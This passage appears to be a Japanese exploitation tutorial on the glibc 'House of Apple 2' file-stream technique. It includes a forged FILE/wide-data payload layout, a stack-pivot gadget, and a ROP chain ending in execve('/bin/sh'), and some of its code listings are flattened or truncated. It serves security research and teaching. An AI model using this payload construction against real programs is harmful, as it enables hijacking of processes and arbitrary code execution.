_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
_IO_WDOALLOCATE はもう一つのディスパッチマクロであり、今回はワイド vtable を介して動作します。この間接呼び出しは逆アセンブリではっきりと確認できます:

ここが興味深い点です。_IO_wdoallocbuf+44 で glibc は _wide_data から _wide_vtable ポインタをロードします。_IO_wdoallocbuf+55 で _wide_vtable + 0x68 にある関数ポインタを呼び出します。今回は範囲検証がありません。
ここで各部分がつながり始めます。_IO_wfile_overflow は _IO_wfile_jumps に属しており、これは最初の vtable チェックで受け入れられる有効範囲内に存在します。そこから、実行は検証されていない _wide_vtable を介した別の間接呼び出しに到達できます。
```c
pwndbg> p &__io_vtables < &_IO_wfile_jumps < (void *)&__io_vtables+0x92f
$5 = 0x1
一般的な考え方は次のとおりです:
1. `_IO_FILE_plus` の vtable を設定し、該当するスロットが `_IO_wfile_overflow` に解決されるようにします。
2. `_wide_data` を、`_wide_vtable` が `desired_function - 0x68` である偽造された `_IO_wide_data` 構造体を指すようにします。
次の実行を試す前に、`_IO_wdoallocbuf` に到達するためのいくつかの条件を満たす必要があります。
`_IO_wfile_overflow` 内:
- `_flags` に `_IO_NO_WRITES`(`0x0008`)が含まれていてはならない
- `_wide_data->_IO_write_base` が `NULL` でなければならない
`_IO_wdoallocbuf` 内:
- `fp->_wide_data->_IO_buf_base` が `NULL` でなければならない
- `_flags` に `_IO_UNBUFFERED`(`0x0002`)が含まれていてはならない
もう1つ詳細があります。`_IO_FILE` には `_lock` フィールドがあり、glibc はストリームロックを取得および解放する際にこれを逆参照します。これを 0x10 バイトのゼロ初期化された書き込み可能領域を指すようにする必要があります。そうしないと、ストリーム操作が私たちの呼び出しに到達する前にクラッシュします。
## 制御フローのハイジャック
すべてが整いました。もう一度試してみましょう。今回は外側の範囲チェックが通過し、最初の間接呼び出しが `_IO_wfile_overflow` にディスパッチされます。

偽造された構造体は `_IO_wfile_overflow` 内の条件も満たしています。実行は `_IO_wdoallocbuf` へと続きます。最後に、`_IO_wdoallocbuf` 内のチェックが通過し、`_IO_wdoallocbuf+55` の間接呼び出しが私たちの `win` 関数に着地します。
ここまで来たので、最終的な間接呼び出しの直前のレジスタ状態を見ておく価値があります。

`RDI` と `RDX` はどちらも制御された `FILE` 構造体の先頭を指しています。第1引数と第3引数のレジスタを直接制御しているわけではありませんが、それらが指すメモリを制御しています。素晴らしい!
## プリミティブの構築
プリミティブは [`./exp/house_of_apple2.py`](https://github.com/jazho76/house_of_apple_2/blob/main/exp/house_of_apple2.py) に実装されています。単純なアプローチは、完全な `_IO_FILE_plus`、完全な `_IO_wide_data`、および別個の偽の wide vtable を順に配置することです。それは機能しますが、かなり大きなバッファも必要になります。
それらを重ね合わせることで、ペイロードを小さくすることができます。
偽の `_IO_wide_data` は、偽の `_IO_FILE_plus` 内のオフセット `0x08` から始まります。これは、重なり合いに関与するほとんどのフィールドがゼロのままでよいため機能します。都合の良いことに、`_wide_data->_IO_write_base` と `_wide_data->_IO_buf_base` は `FILE` 構造体内の `_IO_write_base` と `_IO_buf_base` と重なり合い、どちらのペアも `NULL` である必要があります。
レイアウトの重要な部分は以下のとおりです:
| ペイロードオフセット | `_IO_FILE_plus` としての解釈 | `_IO_wide_data` としての解釈 | 値 |
| -------------: | ------------------------------ | --------------------------------- | ------------------------------------------------ |
| `0x00` | `_flags` | - | `_IO_NO_WRITES` または `_IO_UNBUFFERED` を設定してはならない |
| `0x08` | `_IO_read_ptr` | 偽の `_IO_wide_data` の開始位置 | ゼロ |
| `0x20` | `_IO_write_base` | `_IO_write_base` | `NULL` |
| `0x38` | `_IO_buf_base` | `_IO_buf_base` | `NULL` |
| `0x78` | `_old_offset` | 偽の wide vtable の開始位置 | 重なり合った vtable データ |
| `0x88` | `_lock` | - | 書き込み可能メモリ内のゼロ値へのポインタ |
| `0xa0` | `_wide_data` | - | `base + 0x08` |
| `0xd8` | `_IO_FILE_plus` vtable | - | `_IO_wfile_overflow` にディスパッチする位置 |
| `0xe0` | - | `+0x68` の偽の wide vtable エントリ | 任意の関数のアドレス |
| `0xe8` | - | `_wide_vtable` | `base + 0x78` |
最後の2つのエントリが任意呼び出しの鍵です。`_wide_vtable` はペイロード内のオフセット `0x78` を指し戻します。`_IO_wdoallocbuf` が `_wide_vtable + 0x68` を介してディスパッチするとき、オフセット `0xe0` に格納された関数ポインタを読み取ります:```text
wide_vtable = base + 0x78
wide_vtable+0x68 = base + 0xe0
ここは、呼び出したい関数のアドレスを配置する場所です。
外側のvtableは、プリミティブをトリガーするために使用される操作に依存します。fwriteの場合、ディスパッチは+0x38のスロットを通じて行われるため、そのスロットが_IO_wfile_overflowに解決されるまでポインタが調整されます。この実装は、対応するディスパッチオフセットを適用することでfreadとfcloseもサポートしています。
このレイアウトでは、単一のコンパクトなバッファに偽のFILE構造体、オーバーラップする_IO_wide_data、偽のワイドvtable、そして最終的な関数ポインタが含まれます。
この時点で任意呼び出しプリミティブを手に入れましたが、レジスタの制御は限られています。次のステップは、スタックを制御されたメモリにピボットし、ROPチェーンを開始することです。
__push___start_context+63に、便利なmov rsp, rdx; retスタックピボットガジェットがあります。```asm
pwndbg> disass __push___start_context
Dump of assembler code for function __push___start_context:
0x00007f46729440d0 <+0>: endbr64
0x00007f46729440d4 <+4>: rdsspq rcx
0x00007f46729440d9 <+9>: mov rdx,rsp
0x00007f46729440dc <+12>: mov rsi,QWORD PTR [rdi+0xa0]
0x00007f46729440e3 <+19>: lea rsp,[rsi+0x8]
0x00007f46729440e7 <+23>: mov rsi,QWORD PTR [rdi+0x3b8]
0x00007f46729440ee <+30>: mov rax,QWORD PTR [rdi+0x3b0]
0x00007f46729440f5 <+37>: rstorssp QWORD PTR [rax+rsi*1-0x8]
0x00007f46729440fb <+43>: saveprevssp
0x00007f46729440ff <+47>: call 0x7f4672944106 <__push___start_context+54>
0x00007f4672944104 <+52>: jmp 0x7f4672944120 <__start_context>
0x00007f4672944106 <+54>: rstorssp QWORD PTR [rcx-0x8]
0x00007f467294410b <+59>: saveprevssp
0x00007f467294410f <+63>: mov rsp,rdx
0x00007f4672944112 <+66>: ret
End of assembler dump.
`RDX` が任意呼び出しの時点で、制御された `FILE` 構造体の先頭を指していることはすでに把握している。このガジェットを呼び出すと、`RSP` は直接偽の構造体へと移動し、そこに格納された値から実行が継続される。これにより ROP チェーンの開始点が得られるはずだ。
## ROP
1つ注意点として、ROP チェーンは偽の `FILE` 構造体とメモリが重複するため、`_IO_wdoallocbuf` によるフィールド制約が依然として適用される。最初の qword は `_flags` と重複するため、その値は `_IO_NO_WRITES` (`0x8`) や `_IO_UNBUFFERED` (`0x2`) を設定してはならない。したがって、最初のガジェットは最下位バイトでこれらのビットがクリアされたアドレスである必要がある。
`_nl_archive_subfreeres+96` にある `ret` ガジェットが適任だろう。これは元のコードのその境界に実際に存在する `ret` 命令ではないが、そのシフトされたアドレスにおける有効な mid-instruction ガジェットである。その最下位バイトは `0x00` であるため、このアドレスを `_flags` に配置しても `_IO_NO_WRITES` や `_IO_UNBUFFERED` は設定されない。```asm
pwndbg> tele 0x7f4672919d00 1
00:0000│ 0x7f4672919d00 (_nl_archive_subfreeres+96) ◂— ret
_IO_write_base と _IO_buf_base は NULL のままにしておく必要があるため、チェーンにはさらに2つの穴が残ります。それでも、これらのスロットを先行する pop ガジェットのゼロ値として消費することで有効活用できます。
最後に、オフセット 0x88 にある _lock は上書きできません。これにより、インライン ROP チェーンに使用できるのは 17 qword となり、プロセスの完全な制御を実現するには十分すぎるほどです。
./exp/ace.py の ROP レイアウトは次のとおりです:``` 0x00: _nl_archive_subfreeres+96 # pointer to ret instruction # with least significant byte as 0x00 0x08: pop rdi gadget 0x10: "/bin/sh" string in libc 0x18: pop rsi gadget 0x20: 0x0000000000000000 # _IO_write_base as NULL 0x50: address to execve # call execve("/bin/sh", NULL)

これで任意コード実行を達成しました。
## 参考文献
- [House of Apple: a new glibc IO attack method (2)](https://www.roderickchan.cn/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-2/)、Roderick による House of Apple 2 の原著。
- [`fsop-finder`](https://github.com/xf1les/fsop-finder)、現代の FSOP パスを探索する中で `_IO_wdoallocbuf` パスを独自に特定したもの。
- [Angry-FSROP](https://blog.kylebot.net/2022/10/22/angry-FSROP/)、制御フローパスを発見するためのツール支援アプローチについて。
- [Deep Dive into FSOP](https://niftic.ca/posts/fsop/)、FILE の内部構造、既知の手法、その他の興味深いパスをより広く網羅したもの。
## 結論
House of Apple 2 は、有効な glibc vtable がワイド文字機構に到達し、検証されていない二次 vtable を介してディスパッチする方法を示しています。同じパスは、サンドボックスで使用されている glibc 2.43 ビルドでも再現可能です。レイアウト、オフセット、ガジェットはビルド間で変わる可能性がありますが、根底にある制御フローのアイデアは依然として適用できます。